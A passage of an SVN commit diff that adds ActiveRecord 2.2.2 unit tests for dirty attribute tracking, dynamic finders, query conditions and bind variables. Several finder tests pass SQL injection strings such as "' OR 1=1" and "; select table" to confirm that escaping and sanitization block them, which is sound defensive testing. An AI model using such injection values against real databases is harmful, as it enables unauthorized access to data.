--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/dirty_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/dirty_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,270 @@
+require 'cases/helper'
+require 'models/topic'    # For booleans
+require 'models/pirate'   # For timestamps
+require 'models/parrot'
+require 'models/person'   # For optimistic locking
+
+class Pirate # Just reopening it, not defining it
+  attr_accessor :detected_changes_in_after_update # Boolean for if changes are detected
+  attr_accessor :changes_detected_in_after_update # Actual changes
+
+  after_update :check_changes
+
+private
+  # after_save/update in sweepers, observers, and the model itself
+  # can end up checking dirty status and acting on the results
+  def check_changes
+    if self.changed?
+      self.detected_changes_in_after_update = true
+      self.changes_detected_in_after_update = self.changes
+    end
+  end
+end
+
+class DirtyTest < ActiveRecord::TestCase
+  def test_attribute_changes
+    # New record - no changes.
+    pirate = Pirate.new
+    assert !pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_change
+
+    # Change catchphrase.
+    pirate.catchphrase = 'arrr'
+    assert pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_was
+    assert_equal [nil, 'arrr'], pirate.catchphrase_change
+
+    # Saved - no changes.
+    pirate.save!
+    assert !pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_change
+
+    # Same value - no changes.
+    pirate.catchphrase = 'arrr'
+    assert !pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_change
+  end
+
+  def test_aliased_attribute_changes
+    # the actual attribute here is name, title is an
+    # alias setup via alias_attribute
+    parrot = Parrot.new
+    assert !parrot.title_changed?
+    assert_nil parrot.title_change
+
+    parrot.name = 'Sam'
+    assert parrot.title_changed?
+    assert_nil parrot.title_was
+    assert_equal parrot.name_change, parrot.title_change
+  end
+
+  def test_nullable_integer_not_marked_as_changed_if_new_value_is_blank
+    pirate = Pirate.new
+
+    ["", nil].each do |value|
+      pirate.parrot_id = value
+      assert !pirate.parrot_id_changed?
+      assert_nil pirate.parrot_id_change
+    end
+  end
+
+  def test_zero_to_blank_marked_as_changed
+    pirate = Pirate.new
+    pirate.catchphrase = "Yarrrr, me hearties"
+    pirate.parrot_id = 1
+    pirate.save
+
+    # check the change from 1 to ''
+    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+    pirate.parrot_id = ''
+    assert pirate.parrot_id_changed?
+    assert_equal([1, nil], pirate.parrot_id_change)
+    pirate.save
+
+    # check the change from nil to 0
+    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+    pirate.parrot_id = 0
+    assert pirate.parrot_id_changed?
+    assert_equal([nil, 0], pirate.parrot_id_change)
+    pirate.save
+
+    # check the change from 0 to ''
+    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+    pirate.parrot_id = ''
+    assert pirate.parrot_id_changed?
+    assert_equal([0, nil], pirate.parrot_id_change)
+  end
+
+  def test_object_should_be_changed_if_any_attribute_is_changed
+    pirate = Pirate.new
+    assert !pirate.changed?
+    assert_equal [], pirate.changed
+    assert_equal Hash.new, pirate.changes
+
+    pirate.catchphrase = 'arrr'
+    assert pirate.changed?
+    assert_nil pirate.catchphrase_was
+    assert_equal %w(catchphrase), pirate.changed
+    assert_equal({'catchphrase' => [nil, 'arrr']}, pirate.changes)
+
+    pirate.save
+    assert !pirate.changed?
+    assert_equal [], pirate.changed
+    assert_equal Hash.new, pirate.changes
+  end
+
+  def test_attribute_will_change!
+    pirate = Pirate.create!(:catchphrase => 'arr')
+
+    pirate.catchphrase << ' matey'
+    assert !pirate.catchphrase_changed?
+
+    assert pirate.catchphrase_will_change!
+    assert pirate.catchphrase_changed?
+    assert_equal ['arr matey', 'arr matey'], pirate.catchphrase_change
+
+    pirate.catchphrase << '!'
+    assert pirate.catchphrase_changed?
+    assert_equal ['arr matey', 'arr matey!'], pirate.catchphrase_change
+  end
+
+  def test_association_assignment_changes_foreign_key
+    pirate = Pirate.create!(:catchphrase => 'jarl')
+    pirate.parrot = Parrot.create!
+    assert pirate.changed?
+    assert_equal %w(parrot_id), pirate.changed
+  end
+
+  def test_attribute_should_be_compared_with_type_cast
+    topic = Topic.new
+    assert topic.approved?
+    assert !topic.approved_changed?
+
+    # Coming from web form.
+    params = {:topic => {:approved => 1}}
+    # In the controller.
+    topic.attributes = params[:topic]
+    assert topic.approved?
+    assert !topic.approved_changed?
+  end
+
+  def test_partial_update
+    pirate = Pirate.new(:catchphrase => 'foo')
+    old_updated_on = 1.hour.ago.beginning_of_day
+
+    with_partial_updates Pirate, false do
+      assert_queries(2) { 2.times { pirate.save! } }
+      Pirate.update_all({ :updated_on => old_updated_on }, :id => pirate.id)
+    end
+
+    with_partial_updates Pirate, true do
+      assert_queries(0) { 2.times { pirate.save! } }
+      assert_equal old_updated_on, pirate.reload.updated_on
+
+      assert_queries(1) { pirate.catchphrase = 'bar'; pirate.save! }
+      assert_not_equal old_updated_on, pirate.reload.updated_on
+    end
+  end
+
+  def test_partial_update_with_optimistic_locking
+    person = Person.new(:first_name => 'foo')
+    old_lock_version = 1
+
+    with_partial_updates Person, false do
+      assert_queries(2) { 2.times { person.save! } }
+      Person.update_all({ :first_name => 'baz' }, :id => person.id)
+    end
+
+    with_partial_updates Person, true do
+      assert_queries(0) { 2.times { person.save! } }
+      assert_equal old_lock_version, person.reload.lock_version
+
+      assert_queries(1) { person.first_name = 'bar'; person.save! }
+      assert_not_equal old_lock_version, person.reload.lock_version
+    end
+  end
+
+  def test_changed_attributes_should_be_preserved_if_save_failure
+    pirate = Pirate.new
+    pirate.parrot_id = 1
+    assert !pirate.save
+    check_pirate_after_save_failure(pirate)
+
+    pirate = Pirate.new
+    pirate.parrot_id = 1
+    assert_raises(ActiveRecord::RecordInvalid) { pirate.save! }
+    check_pirate_after_save_failure(pirate)
+  end
+
+  def test_reload_should_clear_changed_attributes
+    pirate = Pirate.create!(:catchphrase => "shiver me timbers")
+    pirate.catchphrase = "*hic*"
+    assert pirate.changed?
+    pirate.reload
+    assert !pirate.changed?
+  end
+
+  def test_reverted_changes_are_not_dirty
+    phrase = "shiver me timbers"
+    pirate = Pirate.create!(:catchphrase => phrase)
+    pirate.catchphrase = "*hic*"
+    assert pirate.changed?
+    pirate.catchphrase = phrase
+    assert !pirate.changed?
+  end
+
+  def test_reverted_changes_are_not_dirty_after_multiple_changes
+    phrase = "shiver me timbers"
+    pirate = Pirate.create!(:catchphrase => phrase)
+    10.times do |i|
+      pirate.catchphrase = "*hic*" * i
+      assert pirate.changed?
+    end
+    assert pirate.changed?
+    pirate.catchphrase = phrase
+    assert !pirate.changed?
+  end
+
+
+  def test_reverted_changes_are_not_dirty_going_from_nil_to_value_and_back
+    pirate = Pirate.create!(:catchphrase => "Yar!")
+
+    pirate.parrot_id = 1
+    assert pirate.changed?
+    assert pirate.parrot_id_changed?
+    assert !pirate.catchphrase_changed?
+
+    pirate.parrot_id = nil
+    assert !pirate.changed?
+    assert !pirate.parrot_id_changed?
+    assert !pirate.catchphrase_changed?
+  end
+
+  def test_save_should_store_serialized_attributes_even_with_partial_updates
+    with_partial_updates(Topic) do
+      topic = Topic.create!(:content => {:a => "a"})
+      topic.content[:b] = "b"
+      #assert topic.changed? # Known bug, will fail
+      topic.save!
+      assert_equal "b", topic.content[:b]
+      topic.reload
+      assert_equal "b", topic.content[:b]
+    end
+  end
+
+  private
+    def with_partial_updates(klass, on = true)
+      old = klass.partial_updates?
+      klass.partial_updates = on
+      yield
+    ensure
+      klass.partial_updates = old
+    end
+
+    def check_pirate_after_save_failure(pirate)
+      assert pirate.changed?
+      assert pirate.parrot_id_changed?
+      assert_equal %w(parrot_id), pirate.changed
+      assert_nil pirate.parrot_id_was
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/finder_respond_to_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/finder_respond_to_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/finder_respond_to_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,76 @@
+require "cases/helper"
+require 'models/topic'
+
+class FinderRespondToTest < ActiveRecord::TestCase
+
+  fixtures :topics
+
+  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
+    class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
+    assert Topic.respond_to?(:method_added_for_finder_respond_to_test)
+  ensure
+    class << Topic; self; end.send(:remove_method, :method_added_for_finder_respond_to_test)
+  end
+
+  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_standard_object_method
+    assert Topic.respond_to?(:to_s)
+  end
+
+  def test_should_respond_to_find_by_one_attribute_before_caching
+    ensure_topic_method_is_not_cached(:find_by_title)
+    assert Topic.respond_to?(:find_by_title)
+  end
+
+  def test_should_respond_to_find_all_by_one_attribute
+    ensure_topic_method_is_not_cached(:find_all_by_title)
+    assert Topic.respond_to?(:find_all_by_title)
+  end
+
+  def test_should_respond_to_find_all_by_two_attributes
+    ensure_topic_method_is_not_cached(:find_all_by_title_and_author_name)
+    assert Topic.respond_to?(:find_all_by_title_and_author_name)
+  end
+
+  def test_should_respond_to_find_by_two_attributes
+    ensure_topic_method_is_not_cached(:find_by_title_and_author_name)
+    assert Topic.respond_to?(:find_by_title_and_author_name)
+  end
+
+  def test_should_respond_to_find_or_initialize_from_one_attribute
+    ensure_topic_method_is_not_cached(:find_or_initialize_by_title)
+    assert Topic.respond_to?(:find_or_initialize_by_title)
+  end
+
+  def test_should_respond_to_find_or_initialize_from_two_attributes
+    ensure_topic_method_is_not_cached(:find_or_initialize_by_title_and_author_name)
+    assert Topic.respond_to?(:find_or_initialize_by_title_and_author_name)
+  end
+
+  def test_should_respond_to_find_or_create_from_one_attribute
+    ensure_topic_method_is_not_cached(:find_or_create_by_title)
+    assert Topic.respond_to?(:find_or_create_by_title)
+  end
+
+  def test_should_respond_to_find_or_create_from_two_attributes
+    ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name)
+    assert Topic.respond_to?(:find_or_create_by_title_and_author_name)
+  end
+
+  def test_should_not_respond_to_find_by_one_missing_attribute
+    assert !Topic.respond_to?(:find_by_undertitle)
+  end
+
+  def test_should_not_respond_to_find_by_invalid_method_syntax
+    assert !Topic.respond_to?(:fail_to_find_by_title)
+    assert !Topic.respond_to?(:find_by_title?)
+    assert !Topic.respond_to?(:fail_to_find_or_create_by_title)
+    assert !Topic.respond_to?(:find_or_create_by_title?)
+  end
+
+  private
+
+  def ensure_topic_method_is_not_cached(method_id)
+    class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.any? { |m| m.to_s == method_id.to_s }
+  end
+
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/finder_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/finder_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/finder_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1048 @@
+require "cases/helper"
+require 'models/author'
+require 'models/categorization'
+require 'models/comment'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/entrant'
+require 'models/developer'
+require 'models/post'
+require 'models/customer'
+require 'models/job'
+require 'models/categorization'
+
+class DynamicFinderMatchTest < ActiveRecord::TestCase
+  def test_find_no_match
+    assert_nil ActiveRecord::DynamicFinderMatch.match("not_a_finder")
+  end
+
+  def test_find_by
+    match = ActiveRecord::DynamicFinderMatch.match("find_by_age_and_sex_and_location")
+    assert_not_nil match
+    assert match.finder?
+    assert_equal :first, match.finder
+    assert_equal %w(age sex location), match.attribute_names
+  end
+
+  def find_by_bang
+    match = ActiveRecord::DynamicFinderMatch.match("find_by_age_and_sex_and_location!")
+    assert_not_nil match
+    assert match.finder?
+    assert match.bang?
+    assert_equal :first, match.finder
+    assert_equal %w(age sex location), match.attribute_names
+  end
+
+  def test_find_all_by
+    match = ActiveRecord::DynamicFinderMatch.match("find_all_by_age_and_sex_and_location")
+    assert_not_nil match
+    assert match.finder?
+    assert_equal :all, match.finder
+    assert_equal %w(age sex location), match.attribute_names
+  end
+
+  def test_find_or_initialize_by
+    match = ActiveRecord::DynamicFinderMatch.match("find_or_initialize_by_age_and_sex_and_location")
+    assert_not_nil match
+    assert !match.finder?
+    assert match.instantiator?
+    assert_equal :first, match.finder
+    assert_equal :new, match.instantiator
+    assert_equal %w(age sex location), match.attribute_names
+  end
+
+  def test_find_or_create_by
+    match = ActiveRecord::DynamicFinderMatch.match("find_or_create_by_age_and_sex_and_location")
+    assert_not_nil match
+    assert !match.finder?
+    assert match.instantiator?
+    assert_equal :first, match.finder
+    assert_equal :create, match.instantiator
+    assert_equal %w(age sex location), match.attribute_names
+  end
+end
+
+class FinderTest < ActiveRecord::TestCase
+  fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers
+
+  def test_find
+    assert_equal(topics(:first).title, Topic.find(1).title)
+  end
+
+  # find should handle strings that come from URLs
+  # (example: Category.find(params[:id]))
+  def test_find_with_string
+    assert_equal(Topic.find(1).title,Topic.find("1").title)
+  end
+
+  def test_exists
+    assert Topic.exists?(1)
+    assert Topic.exists?("1")
+    assert Topic.exists?(:author_name => "David")
+    assert Topic.exists?(:author_name => "Mary", :approved => true)
+    assert Topic.exists?(["parent_id = ?", 1])
+    assert !Topic.exists?(45)
+
+    begin
+      assert !Topic.exists?("foo")
+    rescue ActiveRecord::StatementInvalid
+      # PostgreSQL complains about string comparison with integer field
+    rescue Exception
+      flunk
+    end
+
+    assert_raise(NoMethodError) { Topic.exists?([1,2]) }
+  end
+
+  def test_exists_with_aggregate_having_three_mappings
+    existing_address = customers(:david).address
+    assert Customer.exists?(:address => existing_address)
+  end
+
+  def test_exists_with_aggregate_having_three_mappings_with_one_difference
+    existing_address = customers(:david).address
+    assert !Customer.exists?(:address =>
+      Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
+    assert !Customer.exists?(:address =>
+      Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
+    assert !Customer.exists?(:address =>
+      Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
+  end
+
+  def test_find_by_array_of_one_id
+    assert_kind_of(Array, Topic.find([ 1 ]))
+    assert_equal(1, Topic.find([ 1 ]).length)
+  end
+
+  def test_find_by_ids
+    assert_equal 2, Topic.find(1, 2).size
+    assert_equal topics(:second).title, Topic.find([2]).first.title
+  end
+
+  def test_find_by_ids_with_limit_and_offset
+    assert_equal 2, Entrant.find([1,3,2], :limit => 2).size
+    assert_equal 1, Entrant.find([1,3,2], :limit => 3, :offset => 2).size
+
+    # Also test an edge case: If you have 11 results, and you set a
+    #   limit of 3 and offset of 9, then you should find that there
+    #   will be only 2 results, regardless of the limit.
+    devs = Developer.find :all
+    last_devs = Developer.find devs.map(&:id), :limit => 3, :offset => 9
+    assert_equal 2, last_devs.size
+  end
+
+  def test_find_an_empty_array
+    assert_equal [], Topic.find([])
+  end
+
+  def test_find_by_ids_missing_one
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
+  end
+
+  def test_find_all_with_limit
+    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2)
+
+    assert_equal(2, entrants.size)
+    assert_equal(entrants(:first).name, entrants.first.name)
+  end
+
+  def test_find_all_with_prepared_limit_and_offset
+    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 1)
+
+    assert_equal(2, entrants.size)
+    assert_equal(entrants(:second).name, entrants.first.name)
+
+    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 2)
+    assert_equal(1, entrants.size)
+    assert_equal(entrants(:third).name, entrants.first.name)
+  end
+
+  def test_find_all_with_limit_and_offset_and_multiple_orderings
+    developers = Developer.find(:all, :order => "salary ASC, id DESC", :limit => 3, :offset => 1)
+    assert_equal ["David", "fixture_10", "fixture_9"], developers.collect {|d| d.name}
+  end
+
+  def test_find_with_limit_and_condition
+    developers = Developer.find(:all, :order => "id DESC", :conditions => "salary = 100000", :limit => 3, :offset =>7)
+    assert_equal(1, developers.size)
+    assert_equal("fixture_3", developers.first.name)
+  end
+
+  def test_find_with_group
+    developers =  Developer.find(:all, :group => "salary", :select => "salary")
+    assert_equal 4, developers.size
+    assert_equal 4, developers.map(&:salary).uniq.size
+  end
+
+  def test_find_with_entire_select_statement
+    topics = Topic.find_by_sql "SELECT * FROM topics WHERE author_name = 'Mary'"
+
+    assert_equal(1, topics.size)
+    assert_equal(topics(:second).title, topics.first.title)
+  end
+
+  def test_find_with_prepared_select_statement
+    topics = Topic.find_by_sql ["SELECT * FROM topics WHERE author_name = ?", "Mary"]
+
+    assert_equal(1, topics.size)
+    assert_equal(topics(:second).title, topics.first.title)
+  end
+
+  def test_find_by_sql_with_sti_on_joined_table
+    accounts = Account.find_by_sql("SELECT * FROM accounts INNER JOIN companies ON companies.id = accounts.firm_id")
+    assert_equal [Account], accounts.collect(&:class).uniq
+  end
+
+  def test_find_first
+    first = Topic.find(:first, :conditions => "title = 'The First Topic'")
+    assert_equal(topics(:first).title, first.title)
+  end
+
+  def test_find_first_failing
+    first = Topic.find(:first, :conditions => "title = 'The First Topic!'")
+    assert_nil(first)
+  end
+
+  def test_first
+    assert_equal topics(:second).title, Topic.first(:conditions => "title = 'The Second Topic of the day'").title
+  end
+
+  def test_first_failing
+    assert_nil Topic.first(:conditions => "title = 'The Second Topic of the day!'")
+  end
+
+  def test_unexisting_record_exception_handling
+    assert_raises(ActiveRecord::RecordNotFound) {
+      Topic.find(1).parent
+    }
+
+    Topic.find(2).topic
+  end
+
+  def test_find_only_some_columns
+    topic = Topic.find(1, :select => "author_name")
+    assert_raises(ActiveRecord::MissingAttributeError) {topic.title}
+    assert_equal "David", topic.author_name
+    assert !topic.attribute_present?("title")
+    #assert !topic.respond_to?("title")
+    assert topic.attribute_present?("author_name")
+    assert topic.respond_to?("author_name")
+  end
+
+  def test_find_on_blank_conditions
+    [nil, " ", [], {}].each do |blank|
+      assert_nothing_raised { Topic.find(:first, :conditions => blank) }
+    end
+  end
+
+  def test_find_on_blank_bind_conditions
+    [ [""], ["",{}] ].each do |blank|
+      assert_nothing_raised { Topic.find(:first, :conditions => blank) }
+    end
+  end
+
+  def test_find_on_array_conditions
+    assert Topic.find(1, :conditions => ["approved = ?", false])
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
+  end
+
+  def test_find_on_hash_conditions
+    assert Topic.find(1, :conditions => { :approved => false })
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
+  end
+
+  def test_find_on_hash_conditions_with_explicit_table_name
+    assert Topic.find(1, :conditions => { 'topics.approved' => false })
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
+  end
+
+  def test_find_on_hash_conditions_with_hashed_table_name
+    assert Topic.find(1, :conditions => {:topics => { :approved => false }})
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
+  end
+
+  def test_find_with_hash_conditions_on_joined_table
+    firms = Firm.all :joins => :account, :conditions => {:accounts => { :credit_limit => 50 }}
+    assert_equal 1, firms.size
+    assert_equal companies(:first_firm), firms.first
+  end
+
+  def test_find_with_hash_conditions_on_joined_table_and_with_range
+    firms = DependentFirm.all :joins => :account, :conditions => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }}
+    assert_equal 1, firms.size
+    assert_equal companies(:rails_core), firms.first
+  end
+
+  def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
+    david = customers(:david)
+    assert Customer.find(david.id, :conditions => { 'customers.name' => david.name, :address => david.address })
+    assert_raises(ActiveRecord::RecordNotFound) {
+      Customer.find(david.id, :conditions => { 'customers.name' => david.name + "1", :address => david.address })
+    }
+  end
+
+  def test_find_on_association_proxy_conditions
+    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10], Comment.find_all_by_post_id(authors(:david).posts).map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_range
+    assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1..2 }).map(&:id).sort
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
+  end
+
+  def test_find_on_hash_conditions_with_multiple_ranges
+    assert_equal [1,2,3], Comment.find(:all, :conditions => { :id => 1..3, :post_id => 1..2 }).map(&:id).sort
+    assert_equal [1], Comment.find(:all, :conditions => { :id => 1..1, :post_id => 1..10 }).map(&:id).sort
+  end
+
+  def test_find_on_multiple_hash_conditions
+    assert Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false })
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+  end
+
+  def test_condition_interpolation
+    assert_kind_of Firm, Company.find(:first, :conditions => ["name = '%s'", "37signals"])
+    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!"])
+    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!' OR 1=1"])
+    assert_kind_of Time, Topic.find(:first, :conditions => ["id = %d", 1]).written_on
+  end
+
+  def test_condition_array_interpolation
+    assert_kind_of Firm, Company.find(:first, :conditions => ["name = '%s'", "37signals"])
+    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!"])
+    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!' OR 1=1"])
+    assert_kind_of Time, Topic.find(:first, :conditions => ["id = %d", 1]).written_on
+  end
+
+  def test_condition_hash_interpolation
+    assert_kind_of Firm, Company.find(:first, :conditions => { :name => "37signals"})
+    assert_nil Company.find(:first, :conditions => { :name => "37signals!"})
+    assert_kind_of Time, Topic.find(:first, :conditions => {:id => 1}).written_on
+  end
+
+  def test_hash_condition_find_malformed
+    assert_raises(ActiveRecord::StatementInvalid) {
+      Company.find(:first, :conditions => { :id => 2, :dhh => true })
+    }
+  end
+
+  def test_hash_condition_find_with_escaped_characters
+    Company.create("name" => "Ain't noth'n like' \#stuff")
+    assert Company.find(:first, :conditions => { :name => "Ain't noth'n like' \#stuff" })
+  end
+
+  def test_hash_condition_find_with_array
+    p1, p2 = Post.find(:all, :limit => 2, :order => 'id asc')
+    assert_equal [p1, p2], Post.find(:all, :conditions => { :id => [p1, p2] }, :order => 'id asc')
+    assert_equal [p1, p2], Post.find(:all, :conditions => { :id => [p1, p2.id] }, :order => 'id asc')
+  end
+
+  def test_hash_condition_find_with_nil
+    topic = Topic.find(:first, :conditions => { :last_read => nil } )
+    assert_not_nil topic
+    assert_nil topic.last_read
+  end
+
+  def test_hash_condition_find_with_aggregate_having_one_mapping
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customer = Customer.find(:first, :conditions => {:balance => balance})
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_aggregate
+    gps_location = customers(:david).gps_location
+    assert_kind_of GpsLocation, gps_location
+    found_customer = Customer.find(:first, :conditions => {:gps_location => gps_location})
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_having_one_mapping_and_key_value_being_attribute_value
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customer = Customer.find(:first, :conditions => {:balance => balance.amount})
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_attribute_value
+    gps_location = customers(:david).gps_location
+    assert_kind_of GpsLocation, gps_location
+    found_customer = Customer.find(:first, :conditions => {:gps_location => gps_location.gps_location})
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_having_three_mappings
+    address = customers(:david).address
+    assert_kind_of Address, address
+    found_customer = Customer.find(:first, :conditions => {:address => address})
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
+    address = customers(:david).address
+    assert_kind_of Address, address
+    found_customer = Customer.find(:first, :conditions => {:address => address, :name => customers(:david).name})
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_bind_variables
+    assert_kind_of Firm, Company.find(:first, :conditions => ["name = ?", "37signals"])
+    assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!"])
+    assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!' OR 1=1"])
+    assert_kind_of Time, Topic.find(:first, :conditions => ["id = ?", 1]).written_on
+    assert_raises(ActiveRecord::PreparedStatementInvalid) {
+      Company.find(:first, :conditions => ["id=? AND name = ?", 2])
+    }
+    assert_raises(ActiveRecord::PreparedStatementInvalid) {
+     Company.find(:first, :conditions => ["id=?", 2, 3, 4])
+    }
+  end
+
+  def test_bind_variables_with_quotes
+    Company.create("name" => "37signals' go'es agains")
+    assert Company.find(:first, :conditions => ["name = ?", "37signals' go'es agains"])
+  end
+
+  def test_named_bind_variables_with_quotes
+    Company.create("name" => "37signals' go'es agains")
+    assert Company.find(:first, :conditions => ["name = :name", {:name => "37signals' go'es agains"}])
+  end
+
+  def test_bind_arity
+    assert_nothing_raised                                 { bind '' }
+    assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
+
+    assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '?' }
+    assert_nothing_raised                                 { bind '?', 1 }
+    assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1  }
+  end
+
+  def test_named_bind_variables
+    assert_equal '1', bind(':a', :a => 1) # ' ruby-mode
+    assert_equal '1 1', bind(':a :a', :a => 1)  # ' ruby-mode
+
+    assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
+
+    assert_kind_of Firm, Company.find(:first, :conditions => ["name = :name", { :name => "37signals" }])
+    assert_nil Company.find(:first, :conditions => ["name = :name", { :name => "37signals!" }])
+    assert_nil Company.find(:first, :conditions => ["name = :name", { :name => "37signals!' OR 1=1" }])
+    assert_kind_of Time, Topic.find(:first, :conditions => ["id = :id", { :id => 1 }]).written_on
+  end
+
+  def test_bind_enumerable
+    quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')})
+
+    assert_equal '1,2,3', bind('?', [1, 2, 3])
+    assert_equal quoted_abc, bind('?', %w(a b c))
+
+    assert_equal '1,2,3', bind(':a', :a => [1, 2, 3])
+    assert_equal quoted_abc, bind(':a', :a => %w(a b c)) # '
+
+    require 'set'
+    assert_equal '1,2,3', bind('?', Set.new([1, 2, 3]))
+    assert_equal quoted_abc, bind('?', Set.new(%w(a b c)))
+
+    assert_equal '1,2,3', bind(':a', :a => Set.new([1, 2, 3]))
+    assert_equal quoted_abc, bind(':a', :a => Set.new(%w(a b c))) # '
+  end
+
+  def test_bind_empty_enumerable
+    quoted_nil = ActiveRecord::Base.connection.quote(nil)
+    assert_equal quoted_nil, bind('?', [])
+    assert_equal " in (#{quoted_nil})", bind(' in (?)', [])
+    assert_equal "foo in (#{quoted_nil})", bind('foo in (?)', [])
+  end
+
+  def test_bind_string
+    assert_equal ActiveRecord::Base.connection.quote(''), bind('?', '')
+  end
+
+  def test_bind_chars
+    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi")
+    assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi".mb_chars)
+    assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper".mb_chars)
+  end
+
+  def test_bind_record
+    o = Struct.new(:quoted_id).new(1)
+    assert_equal '1', bind('?', o)
+
+    os = [o] * 3
+    assert_equal '1,1,1', bind('?', os)
+  end
+
+  def test_named_bind_with_postgresql_type_casts
+    l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') }
+    assert_nothing_raised(&l)
+    assert_equal "#{ActiveRecord::Base.quote_value('10')}::integer '2009-01-01'::date", l.call
+  end
+
+  def test_string_sanitation
+    assert_not_equal "#{ActiveRecord::Base.connection.quoted_string_prefix}'something ' 1=1'", ActiveRecord::Base.sanitize("something ' 1=1")
+    assert_equal "#{ActiveRecord::Base.connection.quoted_string_prefix}'something; select table'", ActiveRecord::Base.sanitize("something; select table")
+  end
+
+  def test_count
+    assert_equal(0, Entrant.count(:conditions => "id > 3"))
+    assert_equal(1, Entrant.count(:conditions => ["id > ?", 2]))
+    assert_equal(2, Entrant.count(:conditions => ["id > ?", 1]))
+  end
+
+  def test_count_by_sql
+    assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
+    assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
